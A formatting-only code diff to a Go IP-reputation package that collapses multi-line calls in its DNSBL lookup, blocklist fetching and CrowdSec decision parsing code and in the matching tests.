strings.Compare(a.Zone, b.Zone),
)
}) })
return verdicts return verdicts
@@ -278,11 +275,7 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) {
ctx, cancel := context.WithTimeout(ctx, d.params.Timeout) ctx, cancel := context.WithTimeout(ctx, d.params.Timeout)
defer cancel() defer cancel()
answer, err := d.resolver.LookupNetIP( answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client))
ctx,
"ip4",
queryName(q.zone, q.client),
)
var dnsErr *net.DNSError var dnsErr *net.DNSError
+34 -116
View File
@@ -73,11 +73,7 @@ func TestMain(m *testing.M) {
return nil, errNoNetwork return nil, errNoNetwork
}, },
} }
_, _ = resolver.LookupNetIP( _, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
context.Background(),
"ip4",
"warm-up.invalid.",
)
m.Run() m.Run()
} }
@@ -95,10 +91,8 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
) )
resolver := &resolverStandIn{answers: map[string]answer{ resolver := &resolverStandIn{answers: map[string]answer{
"99.2.0.192." + zone + ".": {addrs: []string{listing}}, "99.2.0.192." + zone + ".": {addrs: []string{listing}},
v6Name + otherZone + ".": { v6Name + otherZone + ".": {addrs: []string{"127.0.0.4", "127.0.0.10"}},
addrs: []string{"127.0.0.4", "127.0.0.10"},
},
"99.2.0.192." + otherZone + ".": {}, "99.2.0.192." + otherZone + ".": {},
}} }}
dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone)) dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
@@ -137,11 +131,8 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) {
}) })
} }
//
//nolint:paralleltest // one at a time, as the comment at the top of this file says //nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched( func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
t *testing.T,
) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
resolver := &resolverStandIn{answers: map[string]answer{ resolver := &resolverStandIn{answers: map[string]answer{
listedName: {addrs: []string{listing}}, listedName: {addrs: []string{listing}},
@@ -207,11 +198,8 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
}) })
} }
//
//nolint:paralleltest // one at a time, as the comment at the top of this file says //nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute( func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
t *testing.T,
) {
for _, tc := range []struct { for _, tc := range []struct {
name string name string
answer answer answer answer
@@ -242,12 +230,9 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
p := dnsblParams(zone) p := dnsblParams(zone)
p.Alerts = queue p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
dnsbl := newDNSBL( dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
&resolverStandIn{answers: map[string]answer{ listedName: tc.answer,
listedName: tc.answer, }}, p)
}},
p,
)
// The failure gives no verdict, and the zone is not asked // The failure gives no verdict, and the zone is not asked
// again within a minute of it. // again within a minute of it.
@@ -273,17 +258,11 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(
Time: time.Now().Add(-time.Minute), Time: time.Now().Add(-time.Minute),
Event: alerts.EventSourceFailure, Event: alerts.EventSourceFailure,
Reason: "asking a DNSBL zone failed", Reason: "asking a DNSBL zone failed",
Detail: map[string]any{ Detail: map[string]any{"source": zone, "error": tc.error},
"source": zone,
"error": tc.error,
},
}) })
if !strings.Contains( if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
log.String(), `"zone":"`+zone+`","error":"`+tc.error) {
`"msg":"asking a DNSBL zone failed",`+
`"zone":"`+zone+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
}) })
@@ -323,11 +302,8 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
synctest.Wait() synctest.Wait()
scraped := httptest.NewRecorder() scraped := httptest.NewRecorder()
m.ServeHTTP( m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
scraped, "/", http.NoBody))
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody),
)
for series, want := range map[string]string{ for series, want := range map[string]string{
"queries_total" + `{instance="app",source="` + zone + `"}`: "1", "queries_total" + `{instance="app",source="` + zone + `"}`: "1",
@@ -372,32 +348,19 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
synctest.Wait() synctest.Wait()
wantZones(t, dnsbl, listed, masked) wantZones(t, dnsbl, listed, masked)
if got := waiting(queue); len(got) != 1 || if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
got[0].Detail["source"] != masked { t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
t.Errorf(
"alerts waiting %+v, want the failure's, from %s",
got,
masked,
)
} }
scraped := httptest.NewRecorder() scraped := httptest.NewRecorder()
m.ServeHTTP( m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
scraped, "/", http.NoBody))
httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody),
)
for name, shown := range map[string]string{ for name, shown := range map[string]string{
"the log": log.String(), "the metrics": scraped.Body.String(), "the log": log.String(), "the metrics": scraped.Body.String(),
} { } {
if strings.Contains(shown, key) || if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
!strings.Contains(shown, masked) { t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
t.Errorf(
"%s shows the key, or does not name the zone:\n%s",
name,
shown,
)
} }
} }
}) })
@@ -419,17 +382,8 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
kept := dnsbl.Snapshot() kept := dnsbl.Snapshot()
want := []reputation.Verdict{ want := []reputation.Verdict{
{ {Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
Zone: zone, {Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
Client: netip.MustParseAddr(listed),
Listed: true,
Fetched: fetched,
},
{
Zone: zone,
Client: netip.MustParseAddr(unlisted),
Fetched: fetched,
},
} }
if !reflect.DeepEqual(kept, want) { if !reflect.DeepEqual(kept, want) {
t.Errorf("verdicts %+v, want %+v", kept, want) t.Errorf("verdicts %+v, want %+v", kept, want)
@@ -479,17 +433,12 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse}) dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
if got := dnsbl.Snapshot(); !reflect.DeepEqual( if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
got,
[]reputation.Verdict{inUse},
) {
t.Errorf("verdicts %+v, want only %+v", got, inUse) t.Errorf("verdicts %+v, want only %+v", got, inUse)
} }
} }
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst( func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -517,10 +466,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
got := dnsbl.Snapshot() got := dnsbl.Snapshot()
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) || if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
slices.Contains(got, verdicts[count-1]) { slices.Contains(got, verdicts[count-1]) {
t.Errorf( t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
"%d verdicts kept, want all but the one fetched longest ago",
len(got),
)
} }
} }
@@ -530,11 +476,7 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
listedName: {addrs: []string{listing}}, listedName: {addrs: []string{listing}},
}} }}
conn, err := (&net.ListenConfig{}).ListenPacket( conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
t.Context(),
"udp",
"127.0.0.1:0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -558,8 +500,7 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
// process held up for a whole minute would see the query fail. // process held up for a whole minute would see the query fail.
p.Timeout = time.Minute p.Timeout = time.Minute
isListed, err := reputation.NewDNSBL(p). isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
LookUp(zone, netip.MustParseAddr(listed))
if err != nil || !isListed { if err != nil || !isListed {
t.Errorf("listed %t (%v), want true", isListed, err) t.Errorf("listed %t (%v), want true", isListed, err)
} }
@@ -613,11 +554,7 @@ func (s *resolverStandIn) set(name string, given answer) {
// dial connects Go's resolver to the stand-in through an in-memory // dial connects Go's resolver to the stand-in through an in-memory
// connection, on which it sends each query, and reads each reply, after // connection, on which it sends each query, and reads each reply, after
// its length, as over TCP. // its length, as over TCP.
func (s *resolverStandIn) dial( func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
context.Context,
string,
string,
) (net.Conn, error) {
client, server := net.Pipe() client, server := net.Pipe()
go s.serve(server) go s.serve(server)
@@ -653,10 +590,8 @@ func (s *resolverStandIn) serve(conn net.Conn) {
} }
//nolint:gosec // a reply of a few dozen bytes //nolint:gosec // a reply of a few dozen bytes
_, err = conn.Write( _, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))), reply...))
reply...),
)
if err != nil { if err != nil {
return return
} }
@@ -757,10 +692,7 @@ func waitForTheResolver() {
} }
// newDNSBL returns the DNSBL of p, asking resolver. // newDNSBL returns the DNSBL of p, asking resolver.
func newDNSBL( func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
resolver *resolverStandIn,
p reputation.DNSBLParams,
) *reputation.DNSBL {
dnsbl := reputation.NewDNSBL(p) dnsbl := reputation.NewDNSBL(p)
dnsbl.SetDial(resolver.dial) dnsbl.SetDial(resolver.dial)
@@ -769,12 +701,7 @@ func newDNSBL(
// wantZones checks the zones whose verdict dnsbl says lists client, as a // wantZones checks the zones whose verdict dnsbl says lists client, as a
// request from client finds them. // request from client finds them.
func wantZones( func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
t *testing.T,
dnsbl *reputation.DNSBL,
client string,
want ...string,
) {
t.Helper() t.Helper()
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client)) got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
@@ -785,21 +712,12 @@ func wantZones(
// wantQueries checks how many queries dnsbl made to zone, and how many of // wantQueries checks how many queries dnsbl made to zone, and how many of
// them failed. // them failed.
func wantQueries( func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
t *testing.T,
dnsbl *reputation.DNSBL,
queries, failures int,
) {
t.Helper() t.Helper()
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures { if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
t.Errorf( t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
"%d queries and %d failures, want %d and %d", dnsbl.Failures(zone), queries, failures)
dnsbl.Queries(zone),
dnsbl.Failures(zone),
queries,
failures,
)
} }
} }
+12 -46
View File
@@ -45,16 +45,13 @@ const (
) )
var ( var (
errStatus = errors.New("the server answered") errStatus = errors.New("the server answered")
errTooLong = errors.New("the list is longer than 16 MiB") errTooLong = errors.New("the list is longer than 16 MiB")
errNotNetblock = errors.New( errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
"is not an address or a netblock, such as 192.0.2.0/24",
)
errNotASNPercent = errors.New( errNotASNPercent = errors.New(
"is not an AS number, : and a percentage, such as AS64496:50") "is not an AS number, : and a percentage, such as AS64496:50")
errNotDecision = errors.New( errNotDecision = errors.New(
"does not give an address or a netblock and a duration, such as 4h0m0s", "does not give an address or a netblock and a duration, such as 4h0m0s")
)
) )
// List is a list as lists.json holds it: the URL it is fetched from, // List is a list as lists.json holds it: the URL it is fetched from,
@@ -229,10 +226,7 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
// decision list on a netblock that holds addr and that ends last, and // decision list on a netblock that holds addr and that ends last, and
// whether it is still in force at now. A decision that has ended no // whether it is still in force at now. A decision that has ended no
// longer bans, even before the next fetch drops it. // longer bans, even before the next fetch drops it.
func (l *Lists) CrowdSecDecision( func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
addr netip.Addr,
now time.Time,
) (Decision, bool) {
if l.params.CrowdSecDecisionsURL == "" { if l.params.CrowdSecDecisionsURL == "" {
return Decision{}, false return Decision{}, false
} }
@@ -437,24 +431,12 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
// Raised before it is logged, so that the alert is there once the // Raised before it is logged, so that the alert is there once the
// log line is. // log line is.
raiseFailure(l.params.Alerts, failed, listURL, err) raiseFailure(l.params.Alerts, failed, listURL, err)
l.params.ProcessLog.Warn( l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
failed,
"url",
listURL,
"error",
err.Error(),
)
return return
} }
l.params.ProcessLog.Info( l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
"fetched a list",
"url",
listURL,
"lines",
len(lines),
)
} }
// raiseFailure raises a source_failure alert into queue, with reason, and // raiseFailure raises a source_failure alert into queue, with reason, and
@@ -477,12 +459,7 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout) ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
ctx,
http.MethodGet,
listURL,
http.NoBody,
)
if err != nil { if err != nil {
return nil, fmt.Errorf("make the request: %w", err) return nil, fmt.Errorf("make the request: %w", err)
} }
@@ -593,10 +570,7 @@ func parseNetblock(text string) (netip.Prefix, bool) {
return netip.Prefix{}, false return netip.Prefix{}, false
} }
return netip.PrefixFrom( return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
netblock.Addr().Unmap(),
netblock.Bits()-mappedBits,
), true
} }
// parsePercents reads the lines of the file of AS:percent lines, each an // parsePercents reads the lines of the file of AS:percent lines, each an
@@ -654,8 +628,7 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
found := entries{decisions: map[netip.Prefix]Decision{}} found := entries{decisions: map[netip.Prefix]Decision{}}
for i, decision := range answer { for i, decision := range answer {
if decision.Type != "ban" || if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
(decision.Scope != "Ip" && decision.Scope != "Range") {
continue continue
} }
@@ -663,19 +636,12 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
duration, err := time.ParseDuration(decision.Duration) duration, err := time.ParseDuration(decision.Duration)
if !ok || err != nil { if !ok || err != nil {
return entries{}, fmt.Errorf( return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
"decision %d %w",
i+1,
errNotDecision,
)
} }
expires := fetched.Add(duration) expires := fetched.Add(duration)
if expires.After(found.decisions[netblock].Expires) { if expires.After(found.decisions[netblock].Expires) {
found.decisions[netblock] = Decision{ found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
Expires: expires,
Scenario: decision.Scenario,
}
} }
if !slices.Contains(found.lengths, netblock.Bits()) { if !slices.Contains(found.lengths, netblock.Bits()) {
+55 -133
View File
@@ -72,9 +72,7 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
}) })
} }
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor( func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
now := time.Now() now := time.Now()
@@ -128,9 +126,7 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
servers := &standIn{ servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
lists: map[string]string{dropURL: "203.0.113.9\n"},
}
lists := start(t, servers, params(dropURL)) lists := start(t, servers, params(dropURL))
began := time.Now() began := time.Now()
@@ -146,21 +142,41 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
wantListedBy(t, lists, "203.0.113.9") wantListedBy(t, lists, "203.0.113.9")
wantListedBy(t, lists, "203.0.113.10", dropURL) wantListedBy(t, lists, "203.0.113.10", dropURL)
if fetched := lists.Fetched(dropURL); !fetched.Equal( if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
began.Add(refresh),
) {
t.Errorf("the copy in use was fetched at %s, want %s", fetched, t.Errorf("the copy in use was fetched at %s, want %s", fetched,
began.Add(refresh)) began.Add(refresh))
} }
}) })
} }
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown( func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range listFailures() { for _, tc := range []struct {
name string
// fail has the stand-in answer the fetches after the first so that
// they fail with error.
fail func(servers *standIn)
error string
}{
{
"an answer other than 200",
func(servers *standIn) { servers.set(dropURL, "") },
"the server answered 503 Service Unavailable",
},
{
"a line that does not read",
func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
},
{
"a list longer than 16 MiB",
func(servers *standIn) {
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
},
"the list is longer than 16 MiB",
},
} {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -189,13 +205,8 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
want := kept[0] want := kept[0]
want.Tried = time.Now() want.Tried = time.Now()
got := lists.Snapshot() if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
if !reflect.DeepEqual(got, []reputation.List{want}) { t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
} }
if lists.Failures(dropURL) != 2 { if lists.Failures(dropURL) != 2 {
@@ -204,14 +215,10 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
// One alert for the first failure; the cooldown holds back the // One alert for the first failure; the cooldown holds back the
// second. // second.
failed := time.Now().Add(-refresh) wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
if !strings.Contains( if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
log.String(), `"url":"`+dropURL+`","error":"`+tc.error) {
`"msg":"fetching a list failed",`+
`"url":"`+dropURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
}) })
@@ -219,40 +226,6 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
} }
} }
// listFailure is a way a list's fetch can fail.
type listFailure struct {
name string
// fail has the stand-in answer the fetches after the first so that
// they fail with error.
fail func(servers *standIn)
error string
}
// listFailures returns the ways a list's fetch can fail.
func listFailures() []listFailure {
return []listFailure{
{
"an answer other than 200",
func(servers *standIn) { servers.set(dropURL, "") },
"the server answered 503 Service Unavailable",
},
{
"a line that does not read",
func(servers *standIn) {
servers.set(dropURL, "203.0.113.10\n<html>\n")
},
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
},
{
"a list longer than 16 MiB",
func(servers *standIn) {
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
},
"the list is longer than 16 MiB",
},
}
}
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) { func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
t.Parallel() t.Parallel()
@@ -264,27 +237,19 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
synctest.Wait() synctest.Wait()
if lists.Failures(dropURL) != 0 { if lists.Failures(dropURL) != 0 {
t.Errorf( t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
"%d failures before a minute, want none",
lists.Failures(dropURL),
)
} }
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
if lists.Failures(dropURL) != 1 { if lists.Failures(dropURL) != 1 {
t.Errorf( t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
"%d failures after a minute, want 1",
lists.Failures(dropURL),
)
} }
}) })
} }
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched( func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -297,16 +262,8 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as // drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
// lists.json says at start. // lists.json says at start.
err := lists.Load([]reputation.List{ err := lists.Load([]reputation.List{
{ {URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
URL: dropURL, {URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
Fetched: time.Now().Add(-time.Hour),
Lines: []string{"203.0.113.9"},
},
{
URL: torURL,
Fetched: time.Now().Add(-refresh),
Lines: []string{"198.51.100.9"},
},
}) })
if err != nil { if err != nil {
t.Fatalf("load: %v", err) t.Fatalf("load: %v", err)
@@ -333,9 +290,7 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
// drop.txt is fetched, and a refresh later the fetch downloads it // drop.txt is fetched, and a refresh later the fetch downloads it
// whole but fails on a line that does not read. // whole but fails on a line that does not read.
servers := &standIn{ servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
lists: map[string]string{dropURL: "198.51.100.1\n"},
}
lists := start(t, servers, params(dropURL)) lists := start(t, servers, params(dropURL))
servers.set(dropURL, "198.51.100.2\n<html>\n") servers.set(dropURL, "198.51.100.2\n<html>\n")
@@ -344,9 +299,7 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
// Restarted with what lists.json keeps, it waits a refresh // Restarted with what lists.json keeps, it waits a refresh
// after the failed try, as it does while it runs. // after the failed try, as it does while it runs.
restarted := &standIn{ restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
lists: map[string]string{dropURL: "198.51.100.2\n"},
}
again := reputation.New(params(dropURL)) again := reputation.New(params(dropURL))
again.SetTransport(restarted) again.SetTransport(restarted)
@@ -396,11 +349,8 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
wantFetches(t, servers, 1) wantFetches(t, servers, 1)
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 { if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
t.Errorf( t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
"%d failures and alerts %+v, want none", waiting(queue))
lists.Failures(dropURL),
waiting(queue),
)
} }
// Restarted an hour later with what lists.json keeps, it fetches // Restarted an hour later with what lists.json keeps, it fetches
@@ -432,9 +382,7 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
}) })
} }
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage( func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -449,13 +397,7 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} { for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
percent, listed := lists.ASNLimitPercent(asn) percent, listed := lists.ASNLimitPercent(asn)
if !listed || percent != want { if !listed || percent != want {
t.Errorf( t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
"%s has %d (listed %t), want %d",
asn,
percent,
listed,
want,
)
} }
} }
@@ -474,9 +416,7 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
}) })
} }
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead( func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC) fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
@@ -492,18 +432,13 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
t.Fatalf("load: %v", err) t.Fatalf("load: %v", err)
} }
if got := lists.Snapshot(); !reflect.DeepEqual( if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
got,
[]reputation.List{kept},
) {
t.Errorf("copies %+v, want only %+v", got, kept) t.Errorf("copies %+v, want only %+v", got, kept)
} }
err = lists.Load( err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{ "; DROP", "203.0.113.300",
"; DROP", "203.0.113.300", }}})
}}},
)
const want = "the copy of " + dropURL + const want = "the copy of " + dropURL +
": line 2 is not an address or a netblock, such as 192.0.2.0/24" ": line 2 is not an address or a netblock, such as 192.0.2.0/24"
@@ -511,10 +446,7 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
t.Errorf("error %v, want %s", err, want) t.Errorf("error %v, want %s", err, want)
} }
if got := lists.Snapshot(); !reflect.DeepEqual( if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
got,
[]reputation.List{kept},
) {
t.Errorf("copies %+v after the error, want %+v still", got, kept) t.Errorf("copies %+v after the error, want %+v still", got, kept)
} }
} }
@@ -648,12 +580,7 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
} }
// wantListedBy checks the URLs of the blocklists lists says list addr. // wantListedBy checks the URLs of the blocklists lists says list addr.
func wantListedBy( func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
t *testing.T,
lists *reputation.Lists,
addr string,
want ...string,
) {
t.Helper() t.Helper()
got := lists.ListedBy(netip.MustParseAddr(addr)) got := lists.ListedBy(netip.MustParseAddr(addr))
@@ -684,13 +611,8 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
t.Helper() t.Helper()
got := waiting(queue) got := waiting(queue)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) || if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
queue.Suppressed() != 1 { t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
t.Errorf( queue.Suppressed(), want)
"alerts waiting %+v, %d held back, want only %+v and 1",
got,
queue.Suppressed(),
want,
)
} }
} }
+9 -27
View File
@@ -18,9 +18,7 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
var out bytes.Buffer var out bytes.Buffer
err := requestlog.Write(&out, &requestlog.Line{ err := requestlog.Write(&out, &requestlog.Line{
Time: requestlog.FormatTime( Time: requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)),
time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
),
ClientIP: "203.0.113.9", ClientIP: "203.0.113.9",
Status: 200, Status: 200,
Action: requestlog.ActionForward, Action: requestlog.ActionForward,
@@ -82,10 +80,7 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
t.Fatalf("write: %v", err) t.Fatalf("write: %v", err)
} }
err = requestlog.WriteRProxyLine( err = requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{Query: "a=1&b=<2>"})
&out,
&requestlog.RProxyLine{Query: "a=1&b=<2>"},
)
if err != nil { if err != nil {
t.Fatalf("write the rproxy line: %v", err) t.Fatalf("write the rproxy line: %v", err)
} }
@@ -105,10 +100,7 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
} }
} }
if !strings.Contains( if !strings.Contains(lines[0], `"referer":"https://example.com/?x=1&y=<2>"`) {
lines[0],
`"referer":"https://example.com/?x=1&y=<2>"`,
) {
t.Errorf("%s does not hold the referer as sent", lines[0]) t.Errorf("%s does not hold the referer as sent", lines[0])
} }
} }
@@ -140,9 +132,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
